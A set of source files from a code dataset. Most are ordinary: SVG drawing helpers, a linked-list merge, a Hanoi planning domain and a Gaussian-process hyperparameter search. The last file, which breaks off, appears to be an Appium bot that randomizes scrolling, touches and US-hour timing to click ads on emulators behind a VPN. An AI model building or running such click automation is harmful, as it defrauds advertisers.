'\\n'.join(cmds)+'\\n'\n\ndef generic_logo( upper_left, lower_right, pwm ):\n\n color = 'black'\n\n width = lower_right[0] - upper_left[0]\n height = lower_right[1] - upper_left[1]\n\n N = len(list(pwm.keys()))\n\n column_width = float(width) / N\n\n cmds = []\n\n for pos in range(N):\n l = [(y,x) for x,y in pwm[pos].items() ]\n l.sort()\n l.reverse()\n ## start from the top\n totfreq=0\n for freq,aa in l:\n if freq<1e-3:continue\n y0 = upper_left[1] + totfreq * height\n y1 = upper_left[1] + (totfreq+freq) * height\n x0 = upper_left[0] + pos *column_width\n x1 = upper_left[0] + (pos+1)*column_width\n cmds.append( text_in_box( (x0,y0), (x1,y1), aa, color ) )\n totfreq += freq\n return '\\n'.join(cmds)+'\\n'\n\n\ndef make_stack( upper_left, lower_right, l ):\n x0 = upper_left [0]\n x1 = lower_right[0]\n\n width = lower_right[0] - upper_left[0]\n height = lower_right[1] - upper_left[1]\n\n l.sort()\n l.reverse()\n\n total = sum([x[0] for x in l])\n totval = 0\n cmds = []\n for vwc in l:\n if len(vwc) == 2:\n val,word = vwc\n color = 'black'\n else:\n assert len(vwc) == 3\n val,word,color = vwc\n y0 = upper_left[1] + height * float(totval) / total\n y1 = upper_left[1] + height * float(totval+val) / total\n cmds.append( text_in_box( (x0,y0), (x1,y1), word, color ) )\n totval+=val\n\n return '\\n'.join(cmds)+'\\n'\n\n\n\ndef enrichment_glyph_marker_old(marker_id):\n cmd = \"\"\"\n \n \n \"\"\".format(marker_id)\n return cmd\n\ndef enrichment_glyph_old( center, arrow_length, arrow_width, fontsize, marker_id, enrichment ):\n line_text_sep = 2.\n if enrichment>1: ## up arrow, text at the top\n line_p0 = [ center[0], center[1] + arrow_length/2. ]\n line_p1 = [ center[0], center[1] - arrow_length/2. ]\n text_lower_y = line_p1[1] - line_text_sep\n enrichment_text = '{:.1f}'.format(enrichment)\n else:\n line_p0 = [ center[0], center[1] - arrow_length/2. ]\n line_p1 = [ center[0], center[1] + arrow_length/2. ]\n text_lower_y = line_p1[1] + line_text_sep + 0.75 * fontsize\n enrichment_text = '{:.1f}'.format(1.0/enrichment)\n text_lower_x = center[0] - 0.6 * fontsize * 0.5 * len(enrichment_text)\n\n\n\n ## define the marker\n cmds = []\n cmds.append(\n ''\\\n .format( line_p0[0], line_p0[1], line_p1[0], line_p1[1], marker_id, arrow_width ) )\n cmds.append( make_text( enrichment_text, [ text_lower_x, text_lower_y ], fontsize ) )\n\n return cmds\n\n# eg_marker_id_prefix = 'eg_'\n# eg_max_arrow_heads = 6\n\n# def enrichment_glyph_markers():\n# global eg_marker_id_prefix\n# global eg_max_arrow_heads\n\n# for heads in range(1,eg_max_arrow_heads+1):\n# markerid = '{}{}'.format( eg_marker_id_prefix, heads )\n\n# cmd = \"\"\"\n# \n# \n# \"\"\".format(marker_id)\n# return cmd\n\ndef enrichment_glyph_cmds( center, arrow_length, arrow_width, enrichment, add_rectangle = False, box_color = 'gold' ):\n cmds = []\n\n num_heads = int(math.floor( abs( math.log(enrichment,2.) ) ))\n if num_heads<1:\n return cmds\n\n head_sep = 3. * arrow_width\n head_width = 3. * arrow_width\n head_slant = 1.\n\n if enrichment>1: ## up arrow, text at the top\n line_p0 = [ center[0], center[1] + arrow_length/2. ]\n line_p1 = [ center[0], center[1] - arrow_length/2. ]\n head_step = 1 * head_sep\n else:\n line_p0 = [ center[0], center[1] - arrow_length/2. ]\n line_p1 = [ center[0], center[1] + arrow_length/2. ]\n head_step = -1 * head_sep\n\n if add_rectangle:\n ## put a nice rounded rectangle around the outside\n rect_x0 = center[0] - head_width - arrow_width\n rect_y0 = center[1] - arrow_length/2 - arrow_width\n rect_width = 2*(head_width+arrow_width)\n rect_height = arrow_length + 2*arrow_width\n rect_round = 3.0 * arrow_width\n\n cmds.append( ''\\\n .format( rect_x0, rect_y0, rect_width, rect_height, rect_round, rect_round,\n box_color, box_color ))\n\n\n ## make the line\n cmds.append( ''\\\n .format( line_p0[0], line_p0[1], line_p1[0], line_p1[1], arrow_width ) )\n\n ## now make the heads\n\n for head in range(num_heads):\n for xsign in [1,-1]:\n x1 = line_p0[0]\n x2 = x1 + xsign * head_width\n y1 = line_p1[1] + head * head_step\n y2 = y1 + head_slant * head_step\n\n cmds.append( ''\\\n .format( x1,y1,x2,y2, arrow_width ) )\n\n if False: ## add shifted white line\n y_shift = arrow_width * head_step / head_sep\n cmds.append( ''\\\n .format( x1,y1+y_shift,x2,y2+y_shift, arrow_width ) )\n\n\n return cmds\n\n\nif __name__ == '__main__':\n cmds = []\n # marker_id = 'tri'\n # cmds.append( enrichment_glyph_marker( marker_id ) )\n center = [50,50]\n arrow_length = 40.\n arrow_width = 3.\n enrichment = 2.01\n cmds += enrichment_glyph_cmds( center, arrow_length, arrow_width, enrichment )\n\n center = [100,50]\n enrichment = 45.01\n cmds += enrichment_glyph_cmds( center, arrow_length, arrow_width, enrichment )\n\n center = [250,50]\n enrichment = 0.49\n cmds += enrichment_glyph_cmds( center, arrow_length, arrow_width, enrichment )\n\n svgfile = 'tmp.svg'\n width = 300\n height = 100\n\n create_file( cmds, width, height, svgfile, create_png=True, background_color='red' )\n\n\n\n\n\n # out = open('tmp3.svg','w')\n\n # out.write( '\\n' )\n\n # texts = [ ( (0,0), (500,300), 'DUDE' ),\\\n # ( (100,350), (700,400), 'TEST' ) ]\n\n\n # for (upper_left,lower_right,text) in texts:\n\n\n # out.write( '\\n'\\\n # .format( upper_left[0], upper_left[1], lower_right[1]-upper_left[1], lower_right[0]-upper_left[0] ) )\n\n # out.write( text_in_box( upper_left, lower_right, text ) )\n\n\n # out.write( ' \\n' )\n","sub_path":"tcrdock/tcrdist/tcrdist_svg_basic.py","file_name":"tcrdist_svg_basic.py","file_ext":"py","file_size_in_byte":18089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"122154010","text":"# Merge two sorted linked lists and return it as a new list. \n# The new list should be made by splicing together the nodes of the first two lists.\n\n# @param two ListNodes (two head of list node)\n# @return a ListNode (the head node of the linkedList)\n\nclass Solution(object):\n def mergeTwoLists(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n dummy = ListNode(0)\n cur = dummy\n while l1 and l2:\n if l1.val <= l2.val:\n cur.next = l1\n cur = cur.next\n l1 = l1.next\n else:\n cur.next = l2\n cur = cur.next\n l2 = l2.next\n if l1:\n cur.next = l1\n else:\n cur.next = l2\n \n return dummy.next\n \n","sub_path":"LinkedList/021-Merge Two Sorted Lists/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"133592554","text":"#!/usr/bin/env python\n# coding=utf8\n\nfrom importlib import import_module\n\n\ndef get_experiments(model, box):\n exp_class = ''.join(map(str.capitalize, [*model.split(\"_\"), box]))\n model = model.replace(\"reference_\", \"\")\n model = model.replace(\"coarse_\", \"\")\n module = import_module(\".%s\" % model,\n package='th_fallfilm.experiments')\n return getattr(module, exp_class)\n","sub_path":"th_fallfilm/experiments/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"363540764","text":"Disk1 = 'Disk1'\r\nDisk2 = 'Disk2'\r\nPole1 = 'Pole1'\r\nPole2 = 'Pole2'\r\nPole3 = 'Pole3'\r\n\r\nDISKS = ['Disk1', 'Disk2']\r\nPOLES = ['Pole1', 'Pole2', 'Pole3']\r\nLITERALS = [Disk1, Disk2, Pole1, Pole2, Pole3]\r\n\r\ndef On(A,B):\r\n return (\"On\", A, B)\r\n\r\ndef Clear(A):\r\n return (\"Clear\", A)\r\n\r\ndef Smaller(A, B):\r\n return (\"Smaller\", A, B)\r\n\r\nINIT = set([\r\n Clear(Disk1),\r\n On(Disk1, Disk2),\r\n On(Disk2, Pole1),\r\n Clear(Pole2),\r\n Clear(Pole3),\r\n Smaller(Disk1, Pole1),\r\n Smaller(Disk1, Pole2),\r\n Smaller(Disk1, Pole3),\r\n Smaller(Disk1, Disk2),\r\n Smaller(Disk2, Pole1),\r\n Smaller(Disk2, Pole2),\r\n Smaller(Disk2, Pole3),\r\n])\r\n\r\nGOAL = set([\r\n On(Disk1, Disk2),\r\n On(Disk2, Pole3)\r\n])\r\n\r\n# ACTIONS\r\n\r\ndef Move(STATE, Disk, Source, Dest):\r\n if Clear(Disk) in STATE and On(Disk, Source) in STATE and Clear(Dest) in STATE and Smaller(Disk, Dest) in STATE:\r\n STATE.add( On(Disk, Dest) )\r\n STATE.remove( On(Disk, Source) )\r\n STATE.remove( Clear( Dest ) )\r\n STATE.add( Clear( Source ) )\r\n return True\r\n else:\r\n return False\r\n\r\ndef UnMove(STATE, Disk, Source, Dest):\r\n if On(Disk, Dest) in STATE and On(Disk, Source) not in STATE and Clear(Dest) not in STATE and Clear(Source) in STATE:\r\n STATE.remove( On(Disk, Dest) )\r\n STATE.add( On(Disk, Source) )\r\n STATE.add( Clear( Dest ) )\r\n STATE.remove( Clear( Source ) )\r\n return True\r\n else:\r\n return False\r\n\r\n# actions is just a list of pairs of functions to do or undo an action\r\n# in general we could make things general and check for function arity\r\n# but currently the code only works with Disk, Source, Dest\r\nACTIONS = [ (Move, UnMove) ]\r\n","sub_path":"towers2.py","file_name":"towers2.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"210634257","text":"import os\n\nfrom base_backend.utils.exceptions import EnvironmentVariableNotSetException\n\n\ndef get_environment_variable(name: str, raise_exception: bool = True, default=None):\n \"\"\"\n Method to retrieve envrionment variables.\n @param name: The name of the environment variable to retrieve\n @param raise_exception: Indicate whether or not an exception should be raised if the variable does not have a value and there's no default set.\n @param default: Default value to return if the environment variable is not set. Setting this will ensure that no exception is returned.\n \"\"\"\n val = os.environ.get(name, default)\n\n if raise_exception and val is None:\n raise EnvironmentVariableNotSetException(\n f\"{name} is a required environment variable.\"\n )\n\n return val\n","sub_path":"base_backend/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"625864261","text":"\"\"\"\nThe :mod:`sklearn.gp_search` includes utilities to fine-tune the parameters\nof an estimator through a Gaussian Process model.\n\"\"\"\nfrom __future__ import print_function\n\n# Author: Sebastien Dubois ,\n# License: BSD 3 clause\n\nimport numpy as np\nfrom scipy.stats import norm\n\nfrom .gaussian_process import GaussianProcessRegressor\nfrom .cross_validation import check_cv\nfrom .cross_validation import _fit_and_score\nfrom .metrics.scorer import check_scoring\nfrom .base import is_classifier, clone\nfrom .grid_search import BaseSearchCV\n\n\n\ndef sample_candidates(n_candidates, param_bounds, param_isInt):\n\n n_parameters = param_isInt.shape[0]\n candidates = []\n\n for k in range(n_parameters):\n if param_isInt[k]:\n k_sample = np.asarray(\n np.random.rand(n_candidates)\n * np.float(param_bounds[k][1]-param_bounds[k][0])\n + param_bounds[k][0],\n dtype=np.int32)\n else:\n k_sample = np.asarray(\n np.random.rand(n_candidates)\n * np.float(param_bounds[k][1]-param_bounds[k][0])\n + param_bounds[k][0])\n candidates.append(k_sample)\n\n candidates = np.asarray(candidates)\n candidates = candidates.T\n\n return compute_unique(candidates)\n\n\ndef compute_ei(predictions, sigma, y_best):\n ei_array = np.zeros(predictions.shape[0])\n for i in range(ei_array.shape[0]):\n z = (y_best - predictions[i]) / sigma[i]\n ei_array[i] = sigma[i] * (z * norm.cdf(z) + norm.pdf(z))\n\n return ei_array\n\n\ndef compute_unique(a):\n # keep only unique values in the ndarray a\n # http://stackoverflow.com/questions/16970982/find-unique-rows-in-numpy-array\n\n b = np.ascontiguousarray(a).view(\n np.dtype((np.void, a.dtype.itemsize * a.shape[1]))\n )\n _, idx = np.unique(b, return_index=True)\n idx = np.sort(idx)\n\n return a[idx]\n\n\ndef is_in_ndarray(item, a):\n # look for element item in ndarray a\n # returns True if item is in a, and its index\n\n k = 0\n idx_val = np.asarray(range(a.shape[0]))\n idxk = range(a.shape[0])\n while(k < a.shape[1]):\n idxk = (a[idxk, k] == item[k])\n if np.sum(idxk > 0):\n k += 1\n idx_val = idx_val[idxk]\n idxk = list(idx_val)\n else:\n return False, 0\n\n return True, idx_val[0]\n\n\n\nclass GPSearchCV(BaseSearchCV):\n \"\"\"\n Parameters\n ----------\n\n parameters : dict, parameter space on which to optimize the estimator\n The keys of the dictionnary should be the names of the parameters,\n and the values should be lists of length 2; the first element being\n the type of the parameter ('int', 'float' or 'cat' [for categorical]),\n and the second element being a list of either the bounds between which\n to search (for 'int' and 'float') or the values the parameter can take\n (for 'cat')\n Example : parameters = {'kernel' : ['cat', ['rbf', 'poly']],\n 'd' : ['int', [1,3]],\n 'C' : ['float',[1,10])}\n\n estimator : 1) sklearn estimator or 2) callable\n 1 : object type that implements the \"fit\" and \"predict\" methods,\n as a classifier or a pipeline\n 2 : a function that computes the output given a dictionnary of\n parameters. The returned value should be a list of one or more\n floats if score_format == 'cv', and a float if score_format ==\n 'avg'\n\n X : array-like, shape = [n_samples, n_features]\n Training vector, where n_samples in the number of samples and\n n_features is the number of features.\n\n y : array-like, shape = [n_samples] or [n_samples, n_output], optional\n Target relative to X for classification or regression;\n None for unsupervised learning.\n\n fit_params : dict, optional\n Parameters to pass to the fit method.\n\n scoring : string, callable or None, optional\n A string (see sklearn's model evaluation documentation) or\n a scorer callable object / function with signature\n ``scorer(estimator, X, y)``.\n Default is None.\n\n cv : integer or cross-validation generator, optional\n Relevant if the estimator is an sklearn object.\n If an integer is passed, it is the number of folds.\n Specific cross-validation objects can be passed, see\n sklearn.cross_validation module for the list of possible objects\n Default is 5.\n\n acquisition function : string, optional\n Function to maximize in order to choose the next parameter to test.\n - Simple : maximize the predicted output\n - UCB : maximize the upper confidence bound\n - EI : maximizes the expected improvement\n Default is 'UCB'\n\n n_iter : int\n Total number of iterations to perform (including n_init and\n n_final_iter).\n Default is 100.\n\n n_init : int, optional\n Number of random iterations to perform before the smart search.\n Default is 30.\n\n n_final_iter : int, optional\n Number of final iterations, ie. smart iterations but with\n acquisition_function == 'Simple'\n Default is 5.\n\n n_candidates : int, optional\n Number of random candidates to sample for each GP iterations\n Default is 500.\n\n nugget : float, optional\n The nugget to set for the Gaussian Process.\n Default is 1.e-10.\n\n\n Attributes\n ----------\n\n best_parameter_ : dict, the parameter set, from those tested by the\n method _fit, that maximizes the mean of the cross-validation results.\n\n tested_parameters_ : ndarray, the parameters tested by _fit\n\n\n Examples\n -------\n >>> from sklearn.datasets import load_digits\n >>> iris = load_digits()\n >>> X, y = iris.data, iris.target\n >>> clf = RandomForestClassifier(n_estimators=20)\n >>> parameters = {\"max_depth\": ['int', [3, 3]],\n \"max_features\": ['int', [1, 11]],\n \"min_samples_split\": ['int', [1, 11]],\n \"min_samples_leaf\": ['int', [1, 11]],\n \"bootstrap\": ['cat', [True, False]],\n \"criterion\": ['cat', [\"gini\", \"entropy\"]]}\n\n >>> search = GPSearchCV(parameters,\n estimator=clf,\n X=X,\n y=y,\n n_iter=20)\n >>> search._fit()\n\n \"\"\"\n\n def __init__(self,\n estimator,\n parameters,\n scoring=None,\n fit_params=None,\n cv=None,\n acquisition_function='UCB',\n refit=True,\n n_init=10,\n n_iter=20,\n n_candidates=500,\n gp_params={},\n verbose=0):\n\n self.estimator = estimator\n self.parameters = parameters\n self.n_parameters = len(parameters)\n self.scoring = scoring\n self.acquisition_function = acquisition_function\n self.n_iter = n_iter\n self.n_init = n_init\n self.refit = refit\n self.n_candidates = n_candidates\n self.gp_params = gp_params\n self.param_names = list(parameters.keys())\n self.param_is_int = np.array([0 if (parameters[k][0] == 'float')\n else 1 for k in self.param_names])\n self.param_bounds = np.zeros((self.n_parameters, 2))\n self.verbose = verbose\n self.fit_params = fit_params if fit_params is not None else {}\n self.cv = cv\n\n self.best_parameter_ = None\n self.tested_parameters_ = None\n self.cv_scores_ = None\n\n if callable(estimator):\n self._callable_estimator = True\n if self.verbose > 0:\n print('Estimator is a callable and not an sklearn Estimator')\n else:\n self._callable_estimator = False\n\n if not self._callable_estimator:\n self.scorer_ = check_scoring(self.estimator, scoring=self.scoring)\n\n # init param_bounds\n for i in range(self.n_parameters):\n if parameters[self.param_names[i]][0] == 'cat':\n self.param_bounds[i, 0] = 0\n self.param_bounds[i, 1] = \\\n len(parameters[self.param_names[i]][1])\n else:\n self.param_bounds[i] = \\\n np.array(parameters[self.param_names[i]][1])\n if parameters[self.param_names[i]][0] == 'int':\n self.param_bounds[i, 1] += 1\n\n if self.verbose > 0:\n print(self.parameters)\n print(self.param_names)\n print(self.param_is_int)\n print(self.param_bounds)\n\n\n def _vector_to_dict(self, vector_parameter):\n dict_parameter = dict.fromkeys(self.param_names)\n for i in range(self.n_parameters):\n if self.parameters[self.param_names[i]][0] == 'cat':\n dict_parameter[self.param_names[i]] = \\\n (self.parameters[self.param_names[i]][1])[\n int(vector_parameter[i])]\n elif self.parameters[self.param_names[i]][0] == 'int':\n dict_parameter[self.param_names[i]] = int(vector_parameter[i])\n else:\n dict_parameter[self.param_names[i]] = vector_parameter[i]\n\n return dict_parameter\n\n\n def _evaluate_params(self, X, y, params):\n \"\"\"\n The score function to call in order to evaluate the quality\n of the parameter params\n\n Parameters\n ----------\n tested_parameter : dict, the parameter to test\n\n Returns\n -------\n score : the mean of the CV score\n \"\"\"\n\n if not self._callable_estimator:\n cv = check_cv(self.cv, X, y,\n classifier=is_classifier(self.estimator))\n cv_score = [_fit_and_score(\n clone(self.estimator), X, y, self.scorer_,\n train, test, False, params,\n self.fit_params, return_parameters=True)\n for train, test in cv]\n\n n_test_samples = 0\n score = 0\n for tmp_score, tmp_n_test_samples, _, _ in cv_score:\n tmp_score *= tmp_n_test_samples\n n_test_samples += tmp_n_test_samples\n score += tmp_score\n score /= float(n_test_samples)\n\n else:\n score = self.estimator(params)\n\n return score\n\n\n def fit(self, X, y=None):\n \"\"\"\n Run the hyper-parameter optimization process\n\n Returns\n -------\n tested_parameters_ : ndarray, the parameters tested during the process\n\n cv_scores_ : array of the mean CV results of the parameters tested\n \"\"\"\n\n n_tested_parameters = 0\n tested_parameters = np.zeros((self.n_iter, self.n_parameters))\n cv_scores = np.zeros(self.n_iter)\n\n # Initialize with random candidates #\n init_candidates = sample_candidates(\n self.n_init, self.param_bounds, self.param_is_int)\n self.n_init = init_candidates.shape[0]\n\n for i in range(self.n_init):\n dict_candidate = self._vector_to_dict(init_candidates[i, :])\n cv_score = self._evaluate_params(X, y, dict_candidate)\n\n if self.verbose > 0:\n print('Step ' + str(i) + ' - Hyperparameter '\n + str(dict_candidate) + ' ' + str(cv_score))\n\n is_in, idx = is_in_ndarray(\n init_candidates[i, :],\n tested_parameters[:n_tested_parameters, :])\n if not is_in:\n tested_parameters[n_tested_parameters, :] = \\\n init_candidates[i, :]\n cv_scores[n_tested_parameters] = cv_score\n n_tested_parameters += 1\n else:\n if self.verbose > 0:\n print('Hyperparameter already tesed')\n cv_scores[idx] = (cv_scores[idx] + cv_score) / 2.\n\n for i in range(self.n_iter-self.n_init):\n\n # Model with a Gaussian Process\n gp = GaussianProcessRegressor(**self.gp_params)\n gp.fit(tested_parameters[:n_tested_parameters, :],\n cv_scores[:n_tested_parameters])\n\n # Sample candidates and predict their corresponding\n # acquisition values\n candidates = sample_candidates(self.n_candidates,\n self.param_bounds,\n self.param_is_int)\n if self.acquisition_function == 'UCB':\n predictions, std = gp.predict(candidates, return_std=True)\n upperBound = predictions + 1.96 * std\n best_candidate = candidates[np.argmax(upperBound)]\n\n elif self.acquisition_function == 'EI':\n predictions, std = gp.predict(candidates, return_std=True)\n y_best = np.max(cv_scores)\n ei = compute_ei(predictions, std, y_best)\n best_candidate = candidates[np.argmax(ei)]\n\n else:\n print('WARNING : acquisition_function not implemented yet : '\n + self.acquisition_function)\n\n dict_candidate = self._vector_to_dict(best_candidate)\n cv_score = self._evaluate_params(X, y, dict_candidate)\n if self.verbose > 0:\n print('Step ' + str(i+self.n_init) + ' - Hyperparameter '\n + str(dict_candidate) + ' ' + str(cv_score))\n\n is_in, idx = is_in_ndarray(\n best_candidate,\n tested_parameters[:n_tested_parameters, :])\n if not is_in:\n tested_parameters[n_tested_parameters, :] = best_candidate\n cv_scores[n_tested_parameters] = cv_score\n n_tested_parameters += 1\n else:\n if self.verbose > 0:\n print('Hyperparameter already tesed')\n cv_scores[idx] = (cv_scores[idx] + cv_score) / 2.\n\n best_idx = np.argmax(cv_scores[:n_tested_parameters])\n vector_best_param = tested_parameters[best_idx]\n best_parameter = self._vector_to_dict(vector_best_param)\n\n # store\n self.best_parameter_ = best_parameter\n self.tested_parameters_ = tested_parameters[:n_tested_parameters, :]\n self.scores_ = cv_scores[:n_tested_parameters]\n\n if self.verbose > 0:\n print('\\nTested ' + str(n_tested_parameters) + ' parameters')\n print('Max cv score ' + str(cv_scores[best_idx]))\n print('Best parameter ' + str(tested_parameters[best_idx]))\n print(best_parameter)\n\n if self.refit:\n # fit the best estimator using the entire dataset\n # clone first to work around broken estimators\n best_estimator = clone(self.estimator).set_params(\n **best_parameter)\n if y is not None:\n best_estimator.fit(X, y, **self.fit_params)\n else:\n best_estimator.fit(X, **self.fit_params)\n self.best_estimator_ = best_estimator\n\n return self\n","sub_path":"sklearn/gp_search.py","file_name":"gp_search.py","file_ext":"py","file_size_in_byte":15269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"639760221","text":"# -*- coding: utf-8 -*-\nimport locale\nimport subprocess\n\nimport psutil\n\nprint(locale.getdefaultlocale())\n\nimport argparse\nimport os\nimport random\nimport signal\nimport sys\nimport time\n\nfrom appium import webdriver\nfrom appium.webdriver.common.touch_action import TouchAction\n\nfrom libs.vmsmodify import VMSModifyHandler\n\nprint(\"The Python path used = %s\" % sys.executable)\n\ndef str2bool(v):\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Unsupported value encountered.')\n\n\n# 创建解析步骤\napp_parser = argparse.ArgumentParser(description='Process some args.')\napp_parser.add_argument('--s', dest='remote_server', action='store', default='http://127.0.0.1:4723/wd/hub',\n help='The Appium server')\napp_parser.add_argument('--d', dest='dest_device', action='store', default='127.0.0.1:21523',\n help='The device, Use: adb devices to list')\napp_parser.add_argument('--a', dest='auto_ahk_file_prex', action='store', default='',\n help='Assign the auto hot key file')\napp_parser.add_argument('--v', dest='vmid', action='store', default=0,\n help='Assign the vms id')\napp_parser.add_argument('--enableads', dest='enable_ads', action='store', type=str2bool,\n nargs='?', help='enable click ads')\n\n# 解析参数步骤\napp_args = app_parser.parse_args()\napp_current_dir = os.path.dirname(os.path.abspath(__file__))\n\n# 日志\nimport logging.handlers\n\nlog_file_path = os.path.join(app_current_dir, 'vmid-{}-run.log'.format(app_args.vmid))\nif os.path.isfile(log_file_path):\n try:\n os.remove(log_file_path)\n except:\n pass\n\nhandler = logging.handlers.RotatingFileHandler(log_file_path,\n maxBytes=1024 * 1024 * 50, backupCount=1) # 实例化 handler\nfmt = '%(asctime)s - %(filename)s:%(lineno)s - %(name)s - %(message)s'\nformatter = logging.Formatter(fmt) # 实例化 formatter\nhandler.setFormatter(formatter) # 为 handler 添加 formatter\nlogger = logging.getLogger('tst') # 获取名为 tst 的 logger\nlogger.addHandler(handler) # 为 logger 添加 handler\nlogger.setLevel(logging.DEBUG)\n\nvmsH = VMSModifyHandler(logger=logger)\n\n\nclass RunningHelper(object):\n @staticmethod\n def get_flag_file(vmid):\n flag_file = os.path.join(app_current_dir, 'can-stop-vmid-{}-f.flag'.format(vmid))\n return flag_file\n\n @staticmethod\n def is_vm_is_running(vmid):\n return vmsH.vm_is_running(vmid)\n\n @staticmethod\n def create_can_stop_vm_flag_file(flag_file):\n if not os.path.isfile(flag_file):\n try:\n open(flag_file, \"w+\").close()\n except Exception:\n logger.exception(\"Error:\")\n\n @staticmethod\n def remove_can_stop_vm_flag_file(flag_file):\n if os.path.isfile(flag_file):\n try:\n os.remove(flag_file)\n except Exception:\n logger.exception(\"Error:\")\n\n\n# 全局配置\nglobal_config = {\n # 'max_urls_count': random.randint(12, 24), # 一般情况下, 持续2个小时,是相当长的了\n 'max_urls_count': random.randint(20 * 24 * 3, 20 * 24 * 7), # 一般情况下, 1小时,最多生产20,一般要求3天,查看一次\n 'run_count': 0,\n 'run_to_get_urls_count': 0, # 运行获取url的机器运行计数\n}\n\nglobals_drivers = {}\nall_sub_process = []\n\nglobal_use_buildin_vpn = True # 是否使用VM中内置的VPN\n\n\ndef get_now_time():\n millis = int(round(time.time() * 1000))\n return millis\n\n\ndef get_random_driver_id():\n \"\"\"\n 获取随机的driver_id\n :return:\n \"\"\"\n new_id = '+{}{}'.format(\"\".join(random.sample(\"abcdefghijklmnopqrstuvwxyz\", 2)), get_now_time())\n return new_id\n\n\ndef sys_exit(message):\n \"\"\"\n 系统退出\n \"\"\"\n logger.info(message)\n logger.info(\"The system is about to exit ...\")\n exit(0)\n\n\nclass OldToolHelper(object):\n @staticmethod\n def sample_touch(driver):\n try:\n eye1 = TouchAction(driver)\n eye1.press(x=random.randint(100, 150),\n y=random.randint(100, 150)).release()\n time.sleep(1)\n except Exception:\n logger.exception(\"Error:\")\n finally:\n pass\n\n @staticmethod\n def auto_scroll_page(driver):\n \"\"\"\n 自动从上到下滚动,处理页面滑动问题\n \"\"\"\n try:\n logger.info(\"Start Auto Scroll\")\n total_width = driver.execute_script(\"return document.body.offsetWidth\")\n total_height = driver.execute_script(\n \"return document.body.parentNode.scrollHeight\")\n viewport_width = driver.execute_script(\"return document.body.clientWidth\")\n viewport_height = driver.execute_script(\"return window.innerHeight\")\n logger.info(\"Total: ({0}, {1}), Viewport: ({2},{3})\".format(\n total_width, total_height, viewport_width, viewport_height))\n\n rectangles = []\n\n i = 0\n while i < total_height:\n ii = 0\n top_height = i + viewport_height\n\n if top_height > total_height:\n top_height = total_height\n\n while ii < total_width:\n top_width = ii + viewport_width\n\n if top_width > total_width:\n top_width = total_width\n\n logger.info(\"Appending rectangle ({0},{1},{2},{3})\".format(ii, i, top_width, top_height))\n rectangles.append((ii, i, top_width, top_height))\n\n ii = ii + viewport_width\n\n i = i + viewport_height\n\n previous = None\n part = 0\n for rectangle in rectangles:\n if not previous is None:\n driver.execute_script(\"window.scrollTo({0}, {1})\".format(rectangle[0], rectangle[1]))\n logger.info(\"Scrolled To ({0},{1})\".format(rectangle[0], rectangle[1]))\n time.sleep(round(random.uniform(0.2, 1.6), 2))\n\n if rectangle[1] + viewport_height > total_height:\n offset = (rectangle[0], total_height - viewport_height)\n else:\n offset = (rectangle[0], rectangle[1])\n\n part = part + 1\n previous = rectangle\n\n logger.info(\"Finishing chrome full page scroll workaround...\")\n return True\n except Exception:\n logger.exception(\"Error:\")\n\n @staticmethod\n def random_scroll_up(driver):\n \"\"\"\n 随机往上滚动\n :return:\n \"\"\"\n try:\n if round(random.uniform(0.2, 0.9), 2) < 0.5:\n return\n\n logger.info(\"Start random_scroll_up\")\n total_width = driver.execute_script(\"return document.body.offsetWidth\")\n total_height = driver.execute_script(\n \"return document.body.parentNode.scrollHeight\")\n viewport_width = driver.execute_script(\"return document.body.clientWidth\")\n viewport_height = driver.execute_script(\"return window.innerHeight\")\n logger.info(\"Total: ({0}, {1}), Viewport: ({2},{3})\".format(\n total_width, total_height, viewport_width, viewport_height))\n\n # 先记录所有区间\n rectangles = []\n i = 0\n while i < total_height:\n ii = 0\n top_height = i + viewport_height\n if top_height > total_height:\n top_height = total_height\n while ii < total_width:\n top_width = ii + viewport_width\n if top_width > total_width:\n top_width = total_width\n logger.info(\"Appending rectangle ({0},{1},{2},{3})\".format(ii, i, top_width, top_height))\n rectangles.append((ii, i, top_width, top_height))\n ii = ii + viewport_width\n i = i + viewport_height\n\n # 随机回滚的位置\n all_rectangle_count = len(rectangles)\n cur_index = 0\n max_rectangle_count = max(0, random.randint(0, all_rectangle_count) - 1)\n rectangles.reverse()\n for rectangle in rectangles:\n if cur_index >= max_rectangle_count:\n break\n cur_index += 1\n\n driver.execute_script(\"window.scrollTo({0}, {1})\".format(rectangle[0], rectangle[1]))\n logger.info(\"Scrolled To ({0},{1})\".format(rectangle[0], rectangle[1]))\n time.sleep(round(random.uniform(0.2, 0.6), 2))\n\n logger.info(\"Finishing chrome random page scroll workaround...\")\n except Exception:\n logger.exception(\"Error:\")\n\n\ndef get_enable_click_ads():\n \"\"\"\n 检测是否可以点击广告\n (1)时间允许\n (2)随机告知是否可以\n :return:\n \"\"\"\n\n # Step1: 检测时间是否在范围内\n time_enable = False\n cur_time = time.localtime()\n cur_time_hour = int(cur_time.tm_hour)\n # 上午的情况,对应为美国区的晚上\n if cur_time_hour in range(11, 18):\n time_enable = round(random.uniform(0.2, 12), 2) >= 4.8\n\n # 凌晨的情况,对应美国区的下午\n if cur_time_hour in range(0, 11):\n time_enable = True and round(random.uniform(0.2, 12), 2) >= 1\n\n # 下午晚上可以点击少量广告的情况下,对应美国区的上午到中午时段\n if cur_time_hour in range(18, 25):\n time_enable = True and round(random.uniform(0.2, 12), 2) >= 1.8\n\n # Step2: 获取随机范围\n return time_enable\n\n\ndef common_process_call(loginfo='', commandList=[]):\n '''\n 公共调用子进程函数\n :param loginfo:\n :param commandList:\n :return:\n '''\n try:\n proc = subprocess.Popen(commandList,\n cwd=os.path.join(app_current_dir, 'scripts', 